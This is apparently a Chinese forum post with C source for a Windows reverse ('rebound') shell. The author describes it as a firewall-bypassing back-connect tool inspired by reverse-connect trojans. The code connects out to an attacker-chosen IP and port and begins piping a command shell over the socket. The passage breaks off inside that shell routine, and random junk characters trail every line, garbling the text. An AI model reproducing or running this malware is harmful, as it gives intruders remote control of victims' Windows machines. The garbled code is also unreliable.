这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [.4R ,[U
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Rebound port in Windows NT *0]E4]ZO
By wind,2006/7 x&9}] E^<
===============================*/ Qr]xj7\@i
#include }Kc[pp|9<
#include Ug>yTc_(7
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#pragma comment(lib,"wsock32.lib") K=Z~$)Og)
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void OutputShell(); ^$qr6+
SOCKET sClient; edld(/wu~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; x*td
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void main(int argc,char **argv) cF!ygz//
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WSADATA stWsaData; IJHNb_Cku
int nRet; @
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SOCKADDR_IN stSaiClient,stSaiServer; H59}d
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if(argc != 3) pQ%~u3
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printf("Useage:\n\rRebound DestIP DestPort\n"); xc)A`(g
return; 1gk{|keh
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WSAStartup(MAKEWORD(2,2),&stWsaData); I>ks H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^@?-YWt
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stSaiClient.sin_family = AF_INET; $"&0
stSaiClient.sin_port = htons(0); am,UUJ+h>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =9$hZ c
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printf("Bind Socket Failed!\n"); WE\@ArY>
return; r0kJx$f
} :*|%g
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stSaiServer.sin_family = AF_INET; iu!j#VO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x+Vp&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1SIhW:C
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Zwj\Hz.
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printf("Connect Error!"); S1oRMd)r
return; vi?{H*H4c
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OutputShell(); Z)E[Bv=
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void OutputShell() Zp'c>ty=
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char szBuff[1024]; j2O?]M
SECURITY_ATTRIBUTES stSecurityAttributes; 9x;CJhX
OSVERSIONINFO stOsversionInfo; ! Ra.DSL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; EfA*w/y
STARTUPINFO stStartupInfo; qr>:meJy4
char *szShell; R'RLF
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PROCESS_INFORMATION stProcessInformation; Hq9yu*!u
unsigned long lBytesRead; 0}:- t^P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 57r?`'#*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &w\E*$
stSecurityAttributes.lpSecurityDescriptor = 0; mqL&b